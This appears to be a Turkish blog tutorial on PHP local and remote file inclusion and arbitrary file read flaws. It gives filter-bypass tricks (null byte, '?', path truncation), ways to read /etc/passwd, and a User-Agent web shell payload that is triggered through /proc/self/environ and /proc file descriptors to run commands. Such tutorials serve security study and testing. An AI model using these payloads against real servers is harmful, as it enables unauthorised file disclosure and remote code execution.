Notes

LFI/RFI ve Arbitrary File Read Açıkları

Bu tür açıklar her script dilinde görülebilir fakat en yaygın olarak görülen "php" dir. Biz örneklerimizi "php" dilinde vereceğiz. Zaten kullanım bakımından her dilde aynı yöntemler izlenmektedir. LFI "local file include" yani "yerel dosya çağırma" manasına gelmekte.
RFI(remote file include) ise aynı işin yerel dosya değil uzak server’daki bir dosyayı çağırarak yapılanı.
Php "wrapper" özelliği ile örneğin: “http://site.com/index.php?page=http://asd.com/x.txt” şeklinde bir include yapmaya çalıştığınızda, php bu dosyanın bir “url” olduğunu algılar ve url üzerinden dosyayı include eder.
Eskiden default olarak "apache php" nin remote url çağırabilme özelliği(php http: wrapper) aktifti fakat eski versionlar dışında bu özellik disabled olarak gelmekte. Bu sebeple "rfi" nin eski popülaritesi kalmamakla birlikte yerini "lfi" ye bıraktı.



Açık Neden Kaynaklanır?
Bu tür açıklar, Scriptte sayfa include edilirken, include edilecek sayfanın, kullanıcının müdahale edebildiği veriler üzerinden tanımlanmasından kaynaklanır (İstekle alınan parametreler (get, post ...), cookieler, tarayıcı tanımlamaları vb.).
Açık, aşağıda belirtilen fonksiyonlar(ve benzer daha pek çok fonksiyon) scriptte çalıştırılırken, dışarıdan alınan parametrenin filtrelenmeden dosya ismi olarak kullanılıp include edilmesinden kaynaklanmaktadır.

include()
include_once()
require()
require_once()
fopen()
file_get_contents()

Bu fonksiyonlardan fopen() ve file_get_contents() ise genelde "Arbitrary File Read" yani "Keyfi Dosya Okuma" açıklarına mahal verir. Rfi ve Lfi'nin aksine dosya okuma açığında, dosya server’da çalıştırılmaz, sadece serverdaki herhangi bir dosyanın kaynak kodu okunur. Onun dışında kullanım yöntemi diğerleriyle aynıdır.
Örnek url:
http://site.com/index.php?page=haberler

Bu url de "page=haberler" parametresini değiştirip "page=haberlerasdasd" şu hatayla karşılaşıyoruz:

Warning: include(haberlerasdasd.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/site.com/index.php on line 135
Bu hata bize 2 şey hakkında bilgi veriyor. 1. si "page" parametresi üzerinden alınan veri, "index.php" de include ediliyor.

Muhtemelen şu tarz bir koda sahip:
<?php
...
include $_GET['page'].'.php'; /*tam burası açığın kaynağı*/
...
?>

2. bilgi ise kodda da yazdığımız gibi "include" edeceği dosyanın sonuna ".php" uzantısını eklemesi. Dikkat ettiyseniz hatada "haberlerasdasd.php" bulunamadı diyor.
Oysa biz "page=haberlerasdasd" göndermiştik.
Eğer scriptimiz dosya isminin sonuna ".php,.html vs.." gibi uzantılar ekliyorsa, bu istediğimiz her dosyayı include edemeyeceğimiz manasına gelir.

Örneğin: "/etc/passwd" yazdığımızda script bunu "/etc/passwd.php" ye çevirecektir. Peki bu durumu nasıl aşıp saldırıya uygun hale getirebiliriz?

1. yöntem: "?" özel karakteri.
Web uygulama serverlarında 1. "?" karakterinden sonra gelenler parametrelerdir. Fakat pek çoğunda 2. kez kullanılırsa kendinden sonra gelen tüm karakterleri ihmal eder.
"page=../../etc/passwd?" yazdığımızda sonuna ".php" eklese bile bu kısım görmezden gelinecektir.
Bu arada "../" karakterleri bir alt dizine geçiş manasına gelir. Çağıracağımız dosyanın klasörüne geçmek için gerekliyse alt dizine geçiş karakterleri kullanmalıyız.

2. yöntem: NULL byte ()
Null byte'ın url encode'da karşılığı dır. Null byte stringleri sonlandırma karakteridir. Url üzerinden girilen veriyi alırken de string kullanılacağından stringi sonlandırır.
Bu sayede kendinden sonra eklenen ".php,.html vs." gibi uzantılar görmezden gelinir.
"page=../../etc/passwd % 00" (blogger silmekte olduğundan % 00 kısmını ayrı yazdım)

3. yöntem: Web Application Server'ın String de taşma yapmasını sağlamak.
Bu yöntemi bazı web application serverlarda gerçekleştirebildim. Yöntem şu şekilde:
http://www.site.com/index.php?page=/etc/passwd bizim yapmak istediğimiz bu include olsun.
Bizim include etmek istediğimiz sayfanın sonuna .php ekleniyor olsun. Ve server tarafından alınabilen url uzunluğu max 1024 byte olsun.

Burada şöyle bir yöntem izlememiz gerekir; mümkün olduğunca uzun bir url girmeliyiz fakat include etmek istediğimiz /etc/passwd değişmemeli. Bildiğiniz gibi bu dosya yolunun sonuna /./ eklemek bir şeyi değiştirmeyecektir. Sorunsuz bir şekilde çalışacaktır. Bu da demektir ki taşma yapana kadar /./ karakter dizisi ekleyebiliriz.

Örnek:
http://www.site.com/index.php?page=/etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

Not: Bazı sunucularda bu kullanım doğru kabul edileceği gibi bazılarında kullanım şu şekilde olabilir:
http://www.site.com/index.php?page=/etc/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././passwd

Ne kadar ekleneceği serverdan servera göre değişir. Bu bazen url alınırken gerçekleşebileği gibi bazen de alınan url stringe dönüştürülürken de gerçekleşebilir.

Tespit Yöntemleri:
Bu tür hatalar alındığında açığın varlığı hemen tespit edilebilse de bazen hata uyarılarının kapatılması veya custom hata sayfalarının kullanılması sebebiyle tespit edilmesi zorlaşabilir.
Böyle durumlarda da kullanabileceğimiz birkaç tespit yöntemi bulunmakta ve bu yöntemler denemeler üzerinden çıkarım yapmaya dayanmakta.

Örneğin;
"page=haberler" parametresini değiştirip farklı birşey yaptığımızda sayfa boş dönüyor olsun.
Burada "lfi" açığı olup olmadığını nasıl anlarız?
Burada ilk denememiz gereken, sitede mevcut bir sayfayı çağırmaya çalışmaktır. Bu sayfa genelde "index.php" dir. Yani "page=index" denememiz gerekiyor.
Sayfanın boş çıkıp çıkmadığı kontrol edilir. Eğer sayfa boş değil de “index.php” yi içeriyorsa, açığımız mevcuttur. Peki ya "index.php" "haberler.php" ile aynı klasörde değilse?
Eğer sayfa boş çıkarsa bunu da göz önünde bulundurmamız gerekmekte. "../index.php", "../../index.php" şeklinde denemelere devam etmeliyiz.
Lfi tespit etmek için linuxte "/etc/passwd", windowsta "c:boot.ini" dosyasını include etmeye çalışabilirsiniz.
“/etc/passwd” dosyası linux kullanıcı isimlerini ve dizin yollarını verecektir. Şuna benzer bi görünümle karşılaşılır:


Linux serverlarda “/proc/self/environ” dosyası:
Bu dosya o anda kullanılan “process” in “environment” bilgisini bize verir. Eğer lfi üzerinden include edersek bize “Apache Server” environment bilgisini verecektir. Bu da sayfayı ziy
aret eden kullanıcının yani bizim bilgilerimizi verecektir. Çıktı şu şekilde olacaktır:


Bu çıktıda dikkat ettiyseniz tarayıcı tanımlamamız “HTTP_USER_AGENT” http header parametresinde görünmekte. Peki bu ne işimize yarar? Tarayıcı tanımlamamıza bir php kodu yazarak “/proc/self/environ” u lfi ile include edersek, serverda php kodu çalıştırabiliriz.

Peki tarayıcı ismini nasıl değiştiririz?
Burp Suite gibi http header’ları değiştirme imkanı sağlayan masaüstü programlarıyla, Tamper Data gibi isteği göndermeden önce müdahale edebilen “mozilla” eklentileriyle tarayıcı ismimizi değiştirebiliriz. Veya “Opera Web Browser” da kendinden mevcut olan “opera:config” ara yüzünden “ISP” sekmesindeki parametreyi değiştirebiliriz.
Çalıştıracağımız php kodunu (örn: “<?php echo system($_GET[‘cmd’]); ?>” ) tarayıcı tanımlamamıza yazdıktan sonra şu şekilde exploit edebiliriz;
http://site.com/index.php?page=../../proc/self/environ&cmd=ls

Peki ya “/proc/self/environ” dosyasına erişim yoksa?

“/proc/self/environ” dosyası o anki kendisini çağıran process’in bilgileri verir. “/proc/processid/environ” şeklinde ise “process id” si bilinen herhangi bir process’in verilerine erişilebilir. Önce web application server process id sini bulmak için “/proc/self/status” dosyasından faydalanacağız. Bu dosyayı include ettiğimizde şöyle bir çıktı alırız:



Bu çıktıyı inceleyecek olursak;

Burada uygulama isminin “apache2” olduğunu görüyoruz. “Pid:3371” ise process id değerimiz. Biz bu değeri kullanacağız. Doğrudan self ile erişime kapalı olan bazı durumlarda bu şekilde şansımızı denemekte fayda var. Örnek saldırı kodu:
http://site.com/index.php?page=../../proc/3371/environ&cmd=ls
Diyelim ki bu da çalışmadı.
Bir de “file description” dosyaları üzerinden “include” yapmayı deneyelim. Bu dosyalar “/proc/self/fd/isim” şeklinde saklanır. “processid” ile de erişmek mümkündür(/proc/3371/fd/isim).

Bu dosyalar “log dosyaları” gibi Apache’nin sürekli kullandığı bazı dosyaların “symlink” dosyalarıdır. Yani bu dosyalar, apache log dosyalarının içeriğini içerirler (barındırırlar daha doğru olur). Peki isimleri nelerdir? İsimler 0 ile FDSize değeri arasında olabilir. Deneyerek bunları tespit etmek mümkündür. FDSize değerini ise az önceki resimde görebiliriz.

Örnek saldırı:
http://site.com/index.php?page=../../proc/3371/fd/9&cmd=ls
http://site.com/index.php?page=../../proc/self/fd/9&cmd=ls